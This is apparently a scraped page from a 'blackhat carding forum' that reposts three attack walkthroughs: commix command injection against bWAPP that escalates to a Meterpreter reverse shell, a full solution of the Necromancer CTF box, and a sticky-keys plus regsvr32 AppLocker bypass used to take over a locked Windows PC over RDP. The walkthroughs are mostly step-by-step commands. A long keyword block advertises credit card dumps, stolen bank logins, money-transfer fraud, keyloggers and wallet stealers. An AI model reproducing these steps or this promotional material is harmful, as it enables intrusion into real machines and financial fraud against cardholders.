commix –url=”http://192.168.1.101:81/bWAPP/commandi_blind.php” –data=”target=target=192.168.1.101&form=submit” –cookie=”BEEFHOOK=eZsF6q03quZVSJwV87iaxpRmGI6Z6vIb1ZrNAmXVacVI3lR4jl96sgu418FXxBaMPh1K6rPkyrKT5y9O; security_level=0; PHPSESSID=5m82jlcacsvb2rfmn73gt3egi2″
This command will execute the commix tool in terminal which automatically perform command injection attack using url and cookie information in bWAPP.
[Image: 3.png?w=687&ssl=1]
Commix found the target seems injectable via blind injection techniques and will further ask for pseudo terminal.
Type ‘y’ to resumed the classic injection point and to pseudo terminal shell
Here we got the commix os shell but our aim is meterpreter shell for that we need to type following commands.
commix(os_shell) > reverse_tcp
[Image: 4.png?w=687&ssl=1]
commix(reverse_tcp) > set LHOST 192.168.1.101
commix(reverse_tcp) > set LPORT 4444
Option asks by commix to set backdoor for connection Type ‘2’ for other reverse TCP shells.
commix(reverse_tcp) > 2
Option asks by commix to set payload Type ‘7’ to use a Windows meterpreter reverse TCP shell.
commix(reverse_tcp) >7
Option asks by commix to set powershell injection attack Type ‘2’ to use TrustedSec’s Magic Unicorn.
commix(reverse_tcp) >2
[Image: 5.png?w=687&ssl=1]
Above step will geneterate a shellcode marked above in the image copy the whole shellcode “msfconsole -r /usr/share/commix/src/thirdparty/unicorn/unicorn.rc” and paste in new terminal which will start multi handler by its own.
[Image: 6.png?w=687&ssl=1]
Once metasploit framework gets loaded and starts the payload handler; come back to your previous terminal and press enter. As it is mention in image.
Luckly!! We succeeded in our task we have got meterpreter shell.
Meterpreter>sysinfo
[Image: 7.png?w=687&ssl=1]
Same task we going to perform with same process but with another type of vulnerability. Set the security level low, from list box choose your bug select os command injection now and click on hack.
[Image: 8.png?w=687&ssl=1]
Type your IP in the DNS lookup field and just after that start the burp suite and set manual proxy of browser. Click on proxy tag then click to inception is on button, come back to bWAPP and now click to Lookup.
[Image: 9.1.png?w=687&ssl=1]
Open the terminal in kali Linux and type the commix command.
commix –url=”http://192.168.1.101:81/bWAPP/commandi.php” –cookie=”BEEFHOOK=eZsF6q03quZVSJwV87iaxpRmGI6Z6vIb1ZrNAmXVacVI3lR4jl96sgu418FXxBaMPh1K6rPkyrKT5y9O; security_level=1; PHPSESSID=79egt1piglgkadfnaa6dujass7″ –data=”target=192.168.1.101&form=submit”
[Image: 9.png?w=687&ssl=1]
Type ‘y’ to resumed the classic injection point and to pseudo terminal shell
Here we got the commix os shell but our aim is meterpreter shell for that we need to type following commands.
commix(os_shell) > reverse_tcp
[Image: 10.png?w=687&ssl=1]
commix(reverse_tcp) > set LHOST 192.168.1.101
commix(reverse_tcp) > set LPORT 4444
Option asks by commix to set backdoor for connection Type ‘2’ for other reverse TCP shells.
commix(reverse_tcp) > 2
Option asks by commix to set payload Type ‘7’ to use a Windows meterpreter reverse TCP shell.
commix(reverse_tcp) >7
Option asks by commix to set powershell injection attack Type ‘2’ to use TrustedSec’s Magic Unicorn.
commix(reverse_tcp) >2
[Image: 12.png?w=687&ssl=1]
Above step will geneterate a shellcode marked above in the image copy the whole shellcode “msfconsole -r /usr/share/commix/src/thirdparty/unicorn/unicorn.rc” and paste in new terminal which will start multi handler by its own.
[Image: 13.png?w=687&ssl=1]
Once metasploit framework gets loaded and starts the payload handler come; back to your previous terminal and press enter. As it is mention in image.
Luckly!! Again we succeeded in our task we have got meterpreter shell.
Meterpreter>sysinfo
[Image: 15.png?w=687&ssl=1]

The Necromancer boot2root box was created for a recent SecTalks Brisbane CTF competition. There are 11 flags to collect on your way to solving the challenge. The end goal is simple…. Destroy the Necromancer!
You can download necromancer from

[To see content please register here]

let’s get going. Firstly, we run netdiscover
Netdiscover
[Image: 1.png?w=687&ssl=1]
Our next step is nmap.
nmap -A -p- 192.168.0.110
[Image: 2.png?w=687&ssl=1]
The scan takes a bit time and gives us nothing. So, let’s try a UDP scan using nmap.
nmap -sU -T4 -p- 192.168.0.110
[Image: 3.png?w=687&ssl=1]
We get a UDP port 666 open. Lets try netcat on it.
nc -nvu 192.168.0.110 666
[Image: 4.png?w=687&ssl=1]
No matter how many times we hit enter, we get the same reply- “You gasp for air! Time is running out!”
When we tried running the machine (necromancer), we had a message regarding the IP – “Renewal in 3600 seconds”. This seems to be related to the message on our terminal.
Let’s quickly run tcpdump.
tcpdump host 192.168.0.110
[Image: 5.png?w=687&ssl=1]
We get to know about some gateway 4444. This can be another port on our target. Lets use netcat once again.
nc -nvlp 4444
[Image: 6.png?w=687&ssl=1]
And we get a text dump in return. It has capital characters, small characters and numbers as well. This has to be a base64 encoded text. We decode it at

[To see content please register here]

and get some sensible text.

[Image: 7.png?w=687&ssl=1]
Ok. We have our 1st flag. And a message to chant the flag’s string at UDP port 666. The flag1 text seems to be a md5 hash so we decrypt it at

[To see content please register here]

. It decrypts to “opensesame”. Let’s return to our port 666 using netcat and type in this string there.
nc -nvu 192.168.0.110
opensesame
[Image: 8.png?w=687&ssl=1]
Another hint. Numeral 80 reminds us ofport 80 used for http. Let’s fire up the victim machine’s IP to our browser on port 80.
[Image: 9.png?w=687&ssl=1]
Nothing useful except an image. Let’s download it and try to analyse it using binwalk
binwalk /root/Desktop/pileoffeathers.jpg
[Image: 10.png?w=687&ssl=1]
So we discover that the image is actually a zip archive. Let’s rename it.
mv /root/Desktop/pileoffeathers.jpg /root/Desktop/pileoffeathers.zip
[Image: 11.png?w=687&ssl=1]
Upon unzipping the file we get a txt file named feathers.txt which again contains a base64 text. We it and get our 3rd flag along with a clue /amagicbridgeappearsatthechasm. Seems like a directory decode.
[Image: 12.png?w=687&ssl=1]
Opening the directory in our browser, we are greeted by another web-page with seriously no clues this time. It only tells us that we need a magical item that could protect us from the necromancer’s spell. We google for “magic items wiki” and find some good stuff on the very first link. But what next?
[Image: 14.png?w=687&ssl=1]
We decide to make a custom dictionary with all the words on this wiki page. We will use cewl for this.
cewlhttps://en.wikipedia.org/wiki/List_of_mythological_objects -d 0 -w /root/Desktop/magicItems.txt –v
[Image: 15.png?w=687&ssl=1]
This makes a dictionary of magical items on our desktop. Let us try dirb to get our next clue.
dirb

[To see content please register here]

-w /root/Desktop/magicitems.txt

[Image: 16.1.png?w=687&ssl=1]
We get another directory as” result. “talisman.
[Image: 16.2.png?w=687&ssl=1]
When we visit the url now using talisman, we are asked to download a binary file named talisman.
[Image: 16.png?w=687&ssl=1]
We download the file and change the permissions of talisman by running
chmod 777 /root/Desktop/talisman
Thereafter we run the file by going to its location.
./talisman
[Image: 17.png?w=687&ssl=1]
No matter what we answer to the asked question –“Do you want to wear the talisman?”, the result is the same –“Nothing happens”. So lets try to debug the binary file.
gdb /root/Desktop/talisman
[Image: 18.png?w=687&ssl=1]
Get some info about the functions-
info functions
[Image: 19.png?w=687&ssl=1]
Create a break point at wearTalisman because after all we want to wear the talisman.
break wearTalisman
run
[Image: 20.png?w=687&ssl=1]
And then jump to chantToBreakSpell
jump chantToBreakSpell
Yess. We succeeded in wearing the talisman. We get our 4th flag and a hint to chant the flag’s words at UDP port 31337.
[Image: 21.png?w=687&ssl=1]
Now the words appear to be in md5 hash and upon decrypting it we get – “blackmagic” We now use netcat to connect to port 31337 and type in “blackmagic” there.
nc -unv 192.168.0.110 31337
blackmagic
And we get another directory along with our 5th flag
[Image: 22.png?w=687&ssl=1]
We open the directory with our victim’s IP.
[Image: 23.png?w=687&ssl=1]
Another webpage with a hint to see the UDP port 161(used for snmp) and a close look reveals that the word “necromancer” just before the image is actually a link. Upon clicking it we get another file to download named “necromancer”. We download and unzip it. It contains a cap file named necromancer. upon analyzing this file with wireshark, we discover that 802.11 protocol is being used. This indicates that the file is a wireless data cap file so let’s try to crack the key using aircrack-ng with rockyou.txt as our dictionary.
aircrack-ng /root/Desktop/necromancer.cap -w /usr/share/wordlists/rockyou.txt
[Image: 24.png?w=687&ssl=1]
This cracks the key as death2all. use it with port 161 i.e. snmp.
snmpwalk-c death2all -v 1 192.168.0.110
[Image: 25.png?w=687&ssl=1]
It says that the door is locked.
[Image: 26.png?w=687&ssl=1]
Let’s try to unlock it using snmpset.
snmpset -c death2allrw -v 1 192.168.0.110 iso.3.6.1.2.1.1.6.0 s Unlocked
When the string changes to “Unlocked”, we run our previous command once again
snmpwalk -c death2all -v 1 192.168.0.110
[Image: 27.png?w=687&ssl=1]
Voila!! The door unlocks and we get another flag along with a clue i.e. TCP port 22 (used for ssh) . flag7{9e5494108d10bbd5f9e7ae52239546c4} – t22. Another md5 hash that decrypts to “demonslayer”.
We try to login to port 22 assuming “demonslayer” to be the password but fail.
ssh 192.168.0.110
demonslayer
[Image: 28.png?w=687&ssl=1]
This means that “demonslayer” should be the username for ssh. To crack the password, we will use metasploit along with rockyou.txt dictionary. Open a terminal for metasploit.
Search ssh_login
Thereafter we run the following commands:
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.0.110
set username demonslayer
set pass_file /usr/share/wordlists/rockyou.txt
run
[Image: 30.png?w=687&ssl=1]
We get password as 12345678 and a shell as well.
[Image: 31.png?w=687&ssl=1]
But neither ls nor dir seems to be working on this shell.
[Image: 32.png?w=687&ssl=1]
So, we login to ssh via terminal on host using demonslayer/12345678
12345678
[Image: 33.png?w=687&ssl=1]
Using ls -la we discover that there lies a flag8.txt file in the directory. To read its contents we use
cat flag8.txt
[Image: 34.png?w=687&ssl=1]
We get another hint regarding udp port 777. This does not works on our pc. So let us try on the victim’s shell.
nc -u localhost 777
and hit enter twice.
[Image: 35.png?w=687&ssl=1]
So the necromancer is now trying to play a game with us. upon googling for his question “Where do the Black Robes practice magic of the Greater Path?” We get the answer. its Kelewan.
[Image: 36.png?w=687&ssl=1]
Our 8th flag is here.flag8{55a6af2ca3fee9f2fef81d20743bda2c} and another question as well that asks, “Who did Johann Faust VIII make a deal with?” Google tells us the answer to this question is Mephistopheles.
[Image: 37.png?w=687&ssl=1]
flag9{713587e17e796209d1df4c9c2c2d2966}
And we get the next flag and yet another question “Who is tricked into passing the Ninth Gate?” Google comes in handy again and tells us the answer once more. The next answer is Hedge.
[Image: 38.png?w=687&ssl=1]
And our next flag awaits us. flag10{8dc6486d2c63cafcdc6efbba2be98ee4} nothing more to be noticed here. But if I am not wrong, we did see this “small vile” thing somewhere earlier. Let’s head back by cntrl+c and try to look for it.
We type in ls -la and yes it’s there “.smallvile” about which we just discovered in the description alongwith our 10th flag. Let’s open it using cat.
cat .smallvile
[Image: 39.png?w=687&ssl=1]
Hope this opened up some gates cause we don’t see any clue here. Let’s try sudo.
sudo –l
[Image: 40.png?w=687&ssl=1]
Seems to be working. It shows us the location of our 11th flag and that the flag11.txt file is not protected by any sort of password. Let’s try to open it.
sudo /bin/cat /root/flag11.txt
[Image: 41.png?w=687&ssl=1]
Wohoo!! Mission Accomplished. The last flag has been captured.
[Image: 42.png?w=687&ssl=1]

Lets learn how to take Meterpreter session of a pc in a network which is switched on but is locked and has remote desktop feature enabled on it.
Let us assume that our victim’s pc already has utilman attack or sticky keys attack enabled on it. To know more about sticky keys, visit

[To see content please register here]

.
You donot need physical access to the victim’s pc for this attack.
First, run metasploit on your pc.
$msfconsole
[Image: 1.png?w=687&ssl=1]
Thereafter, we search for regsvr32_applocker_bypass_server and use the exploit followed by setting the payload, lhost, lport and run exploit.
use exploit/windows/misc/regsvr32_applocker_bypass_server
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 4444
exploit
[Image: 2.png?w=687&ssl=1]
Open another terminal to take the remote desktop session of the victim’s pc and enter the victim’s ip.
$rdesktop 192.168.0.103
[Image: 3.png?w=687&ssl=1]
You get the remote desktop of the victim’s pc.
[Image: 4.png?w=687&ssl=1]
Press the “shift” key 5 times to bring up the command prompt.
[Image: 5.png?w=687&ssl=1]
And returning to our previous terminal with meterpreter, we have finally got the session of victim’s pc on out terminal.
[Image: 6.png?w=687&ssl=1]


 


Blackhat Carding forum



Search keywords: the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs,carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, WebMoney carding, card clone, the best hacking country, india hackers team, alboraaq , pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, x'xx passwords, WebMoney hacking, abh cc live, fresh smtp, hacking forum scam free smtp, wmz carding , spam paypal, caring, true carders, carding board, what is the best hacking forum, www.hackingforum.ru, www.carderscave.ru, www.darkgeo.com, www.darkgeo.su, www.darkgeo.ru, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer only for real hackers, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com. Carding forum, Carders Forum, Hacking Forum, Hackers Forum, Cheap WU Transfer, CCV Dumps, Legit Carders 2020, ATN Team, Altenen, Hacking Tutorials, Free Premium Porn Accounts, Carding Tools 2020, Fraud Carding, Fraudsters Marketplace, Carding Forum Scam, Inbox Spamming, Free Mailer PHP, Free VPN 2020, Best VPN 2020, AlphaBay Market, Free Fresh Mail Leads, Real Hacker Forum, Alboraaq Review, Alboraaq Hackers, Perfect Money Stealer, Darknet Forums, Darknet Hackers, Darknet Carders, Cardable Websites 2020, Buy Credit Card Dumps, Western Union Generator, Money Gram Transfers Cheap, Free CVV, Free RDP, Cheap RDP, Amazon Carding 2020, NonVBV Cardable Websites, TOR VPN 2020, Russian Carding Forum, UK Carding Forums, Bitcoin Wallet Stealer, Bitcoin Carding, Bank Stealer, Hacked Bank Logins, Bank Logins, Free Keyloggers 2020, Best Keylogger Download, Free Receipt Generator, Card Bitcoins easy, Amazon method, Best Pakistan Carders, Dumps Section, Legit Carding, Unseen, Tutamail, Deepdotweb, CC Live, Free premium logs, iPhone 6s Carded, Cheap Electronics Carding, Black Marketplace, Cheap Bank Transfers, Carding Tools, Havij Hacking, India Hackers, Cheap Apple Carding 2020, PayPal Dumps Logs, Market Hackers, Fresh email logs, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs, carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, hacking stuff, card clone, the best hacking country, india hackers team, alboraaq scamming, pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, xxx passwords, xxx username and passwords, abh cc live, fresh smtp, hacking forum scam free smtp, ams spamming, spam paypal, caring, true carders, carding board, what is the best hacking forum, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com, altenen, altenen.com, alboraaq, alboraaq.com